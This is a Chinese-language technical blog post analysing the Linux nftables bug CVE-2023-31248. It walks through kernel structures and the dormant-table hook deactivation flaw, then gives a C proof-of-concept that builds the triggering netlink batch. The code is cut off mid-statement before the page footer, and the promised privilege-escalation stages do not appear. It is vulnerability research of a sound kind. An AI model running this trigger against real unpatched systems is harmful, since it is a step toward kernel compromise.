nftables漏洞挖掘与利用:CVE-2023-31248深度分析

本文详细分析了nftables子系统中CVE-2023-31248漏洞的发现与利用过程,包括漏洞触发机制、UAF原语获取、内核地址泄露和RIP控制技术,最终实现权限提升。

nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248)

nftables简介

nftables是一个现代的包过滤框架,旨在取代传统的{ip,ip6,arp,eb}_tables(xtables)基础设施。它重用了现有的netfilter钩子,这些钩子作为处理程序的入口点,对数据包执行各种操作。nftables表对象包含链对象列表,链对象包含规则对象列表,规则最终包含表达式,这些表达式执行伪状态机的操作。

表(Tables)

表是顶级对象,包含链、集合、对象和流表。在内部,表由struct nft_table表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct nft_table {
	struct list_head		list;
	struct rhltable			chains_ht;
	struct list_head		chains;
	struct list_head		sets;
	struct list_head		objects;
	struct list_head		flowtables;
	u64				hgenerator;
	u64				handle;
	u32				use;
	u16				family:6,
					flags:8,
					genmask:2;
	u32				nlpid;
	char		    *name;
	u16				udlen;
	u8				*udata;
	u8				validate_state;
};

表可以有多个不同的标志。用户可以在创建表时设置NFT_TABLE_F_DORMANT和/或NFT_TABLE_F_OWNER标志。休眠状态标志(NFT_TABLE_F_DORMANT)可以在nf_tables_updtable中更新。如果设置了NFT_TABLE_F_DORMANT(0x1),表将进入休眠状态,其所有基本链钩子将被取消注册,但表不会被删除。还有内部设置的__NFT_TABLE_F_UPDATE标志,包括__NFT_TABLE_F_WAS_AWAKEN和__NFT_TABLE_F_WAS_DORMANT。

链(Chains)

链可以是基本链,它们注册了netfilter钩子且不能被跳转至;也可以是普通链,它们没有注册钩子但可以被跳转至。在内部,链由struct nft_chain表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
struct nft_chain {
	struct nft_rule_blob		__rcu *blob_gen_0;
	struct nft_rule_blob		__rcu *blob_gen_1;
	struct list_head		rules;
	struct list_head		list;
	struct rhlist_head		rhlhead;
	struct nft_table		*table;
	u64				handle;
	u32				use;
	u8				flags:5,
					bound:1,
					genmask:2;
	char			*name;
	u16				udlen;
	u8				*udata;

	/* Only used during control plane commit phase: */
	struct nft_rule_blob		*blob_next;
};

基本链由struct nft_base_chain表示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct nft_base_chain {
	struct nf_hook_ops		ops;
	struct list_head		hook_list;
	const struct nft_chain_type	*type;
	u8				policy;
	u8				flags;
	struct nft_stats __percpu	*stats;
	struct nft_chain		chain;
	struct flow_block		flow_block;
};

规则(Rules)

规则包含nftables表达式。在内部,规则由struct nft_rule表示。

1
2
3
4
5
6
7
8
9
struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

表达式(Expressions)

表达式充当状态机的操作。有许多表达式,例如:

  • Bitwise:执行位操作
  • Immediate:将数据加载到寄存器中。还允许跳转/转到另一个普通链
  • Byteorder:更改主机/网络字节序
  • Compare:比较两个寄存器中的值
  • Counter:在规则中启用计数器

在内部,表达式由struct nft_expr表示。

1
2
3
4
5
struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};

每个表达式还有一个struct nft_expr_ops表示各种操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct nft_expr_ops {
	void			(*eval)(const struct nft_expr *expr,
						struct nft_regs *regs,
						const struct nft_pktinfo *pkt);
	int				(*clone)(struct nft_expr *dst,
						const struct nft_expr *src);
	unsigned int	size;
	int				(*init)(const struct nft_ctx *ctx,
						const struct nft_expr *expr,
						const struct nlattr * const tb[]);
	void			(*activate)(const struct nft_ctx *ctx,
						const struct nft_expr *expr);
	void			(*deactivate)(const struct nft_ctx *ctx,
						const struct nft_expr *expr,
						enum nft_trans_phase phase);
	void			(*destroy)(const struct nft_ctx *ctx,
						const struct nft_expr *expr);
	void			(*destroy_clone)(const struct nft_ctx *ctx,
						const struct nft_expr *expr);
	int				(*dump)(struct sk_buff *skb,
						const struct nft_expr *expr,
						bool reset);
	int				(*validate)(const struct nft_ctx *ctx,
						const struct nft_expr *expr,
						const struct nft_data **data);
	bool			(*reduce)(struct nft_regs_track *track,
					    const struct nft_expr *expr);
	bool			(*gc)(struct net *net,
					    const struct nft_expr *expr);
	int				(*offload)(struct nft_offload_ctx *ctx,
						struct nft_flow_rule *flow,
						const struct nft_expr *expr);
	bool			(*offload_action)(const struct nft_expr *expr);
	void			(*offload_stats)(struct nft_expr *expr,
						const struct flow_stats *stats);
	const struct nft_expr_type	*type;
	void				        *data;
};

生成掩码系统(Genmask System)

许多nftables对象有一个2位的生成掩码,指定对象在当前和/或下一代中是否活动。如果设置了位,对象在该代中不活动。有一个整体的gencursor定义代表当前代的位。对象可以有以下状态:

  • 在当前和下一代都活动(例如未更改的对象)
  • 在当前代活动,在下一代不活动(例如标记为删除的对象)
  • 在当前代不活动,在下一代活动(例如新创建的对象)

控制平面、事务系统和事务工作器

在nftables中,用户空间请求的操作(通过netlink消息)在控制平面中执行,包括nf_tables_newtable、nf_tables_updtable、nf_tables_newchain等函数。控制平面负责对象的创建和分配、在下一代中激活/停用对象、链接对象以及修改对象的“use”引用计数。然而,新创建的对象在创建后不会立即激活;它们只在提交阶段新代开始时激活。控制平面中涉及对象创建或更新的所有操作都会向事务列表添加新事务。

当netlink批处理事务被认为是有效的(即控制平面中的所有操作不返回错误)时,进入提交阶段并调用nf_tables_commit。将启动新代,所有新创建的对象变为活动状态,并执行事务列表中的操作。提交阶段还负责取消链接要删除的对象,并排队负责销毁对象的异步事务工作器(nf_tables_trans_destroy_work)。

异步事务工作器运行时,将调用nft_commit_release,最终调用销毁和释放标记为删除的对象的函数。

nftables休眠状态链钩子停用错误

在研究nftables时,通过手动源代码审查,我能够识别出一个导致警告splat的错误。错误报告可以在这里看到:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nf_tables_api.c?id=c9bd26513b3a11b3adb3c2ed8a31a01a87173ff1

当新创建的表通过nf_tables_updtable从活动更新为休眠时,表标志设置为NFT_TABLE_F_DORMANT,并且由于没有设置__NFT_TABLE_F_UPDATE标志,将设置__NFT_TABLE_F_WAS_AWAKEN标志。当表从活动更新为休眠时,链钩子直到调用nf_tables_commit才停用。然而,当表从休眠更新为活动时,NFT_TABLE_F_DORMANT标志被清零。然后检查是否设置了任何__NFT_TABLE_F_UPDATE标志,如果没有设置,链钩子立即由nf_tables_table_enable激活(即在调用nf_tables_commit之前)。此代码行为如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static int nf_tables_updtable(struct nft_ctx *ctx) {
	...
		if ((flags & NFT_TABLE_F_DORMANT) &&
	    !(ctx->table->flags & NFT_TABLE_F_DORMANT)) {
		ctx->table->flags |= NFT_TABLE_F_DORMANT;
		if (!(ctx->table->flags & __NFT_TABLE_F_UPDATE))
			ctx->table->flags |= __NFT_TABLE_F_WAS_AWAKEN;
	} else if (!(flags & NFT_TABLE_F_DORMANT) &&
		   ctx->table->flags & NFT_TABLE_F_DORMANT) {
		ctx->table->flags &= ~NFT_TABLE_F_DORMANT;
		if (!(ctx->table->flags & __NFT_TABLE_F_UPDATE)) {
			ret = nf_tables_table_enable(ctx->net, ctx->table);
			if (ret < 0)
				goto err_register_hooks;

			ctx->table->flags |= __NFT_TABLE_F_WAS_DORMANT;
		}
	}
	...
}

可以以某种方式激活/停用表,使得在某个时间点,一些链已注册而一些未注册。这可以通过将活动表更新为休眠来实现,以便设置__NFT_TABLE_F_WAS_AWAKEN标志(这是__NFT_TABLE_F_UPDATE标志之一),然后将休眠表更新为活动。由于设置了__NFT_TABLE_F_UPDATE标志之一,跳过nf_tables_table_enable,留下一些链未注册。当删除活动表时,nf_tables_unregister_hook仅检查NFT_TABLE_F_DORMANT标志是否清零。如果标志未设置,所有基本链被假定为活动,因此所有链钩子将停用,即使它们最初未注册。这导致显示以下警告:

1
2
3
4
[ 1411.118307] ------------[ cut here ]------------
[ 1411.119665] hook not found, pf 2 num 3
[ 1411.119708] WARNING: CPU: 1 PID: 367 at net/netfilter/core.c:517 __nf_unregister_net_hook+0xf8/0x2e0
...

此错误在以下提交中引入: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nf_tables_api.c?id=179d9ba5559a756f4322583388b3213fe4e391b0

触发错误

要触发错误,应采取以下步骤(在同一批处理事务中):

  1. 创建表“test_table” – 此表是活动的 [1]
  2. 将表“test_table”从活动更新为休眠 [2] a. 设置NFT_TABLE_F_DORMANT和__NFT_TABLE_F_WAS_AWAKEN表标志
  3. 添加基本链“chain1” – 此基本链添加到休眠表,因此未注册 [3]
  4. 将表“test_table”从休眠更新为活动 [4] a. NFT_TABLE_F_DORMANT标志清零,但__NFT_TABLE_F_WAS_AWAKEN标志仍设置,导致跳过nf_tables_enable_table
  5. 使用nft实用程序删除活动表“test_table”:nft delete table test_table [5]

表在删除时是活动的,因此当表被刷新时,所有基本链被视为已注册并将取消注册。然而,由于基本链“chain1”从未注册,内核将尝试取消注册未注册的链,导致警告。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
#define _GNU_SOURCE
#include <stdio.h> 
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stddef.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <time.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>

struct unft_base_chain_param {
    uint32_t hook_num;
    uint32_t prio;
};

struct nftnl_table* build_table(char* name, uint16_t family) {
    struct nftnl_table* t = nftnl_table_alloc();
    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
    return t;
}

struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param, uint32_t chain_id) {
    struct nftnl_chain* c;
    c = nftnl_chain_alloc();
    nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
    nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
    if (base_param) {
        nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
        nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
    }
    if (chain_id) {
        nftnl_chain_set_u32(c, NFTNL_CHAIN_ID, chain_id);
    }
    return c;
}

int main(void) {
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    struct mnl_nlmsg_batch *batch;
    int ret;
    int seq = time(NULL);
    uint8_t family = NFPROTO_IPV4;

    struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
		perror("mnl_socket_open");
		exit(EXIT_FAILURE);
	}
	
	if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
		perror("mnl_socket_bind");
		exit(EXIT_FAILURE);
	} 

    // Start nl message
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);
	
    // Create active table "test_table" [1]
    struct nftnl_table * t = build_table("test_table", NFPROTO_IPV4);
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mnl_nlmsg_batch_next(batch);
	
	// Update table "test_table" -- table is now dormant [2]
	nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0x1);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mnl_nlmsg_batch_next(batch);
    
    // Add basechain "chain1" -- not registered [3]
    struct unft_base_chain_param bp2;
    bp2.hook_num = NF_INET_LOCAL_OUT;
    bp2.prio = 11;
    struct nftnl_chain * c = build_chain("test_table", "chain1", &bp2, 11);
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_chain_nlmsg_build_payload(nlh, c);
	mnl_nlmsg_batch_next(batch);
	
	// Update table "test_table" -- table is now active [4]
	nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++);
    nftnl_table_set_u32(t, NFTNL_TABLE_FLAGS, 0x0);
    nftnl_table_nlmsg_build_payload(nlh, t);
    mnl_nlmsg_batch_next(batch);
    
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计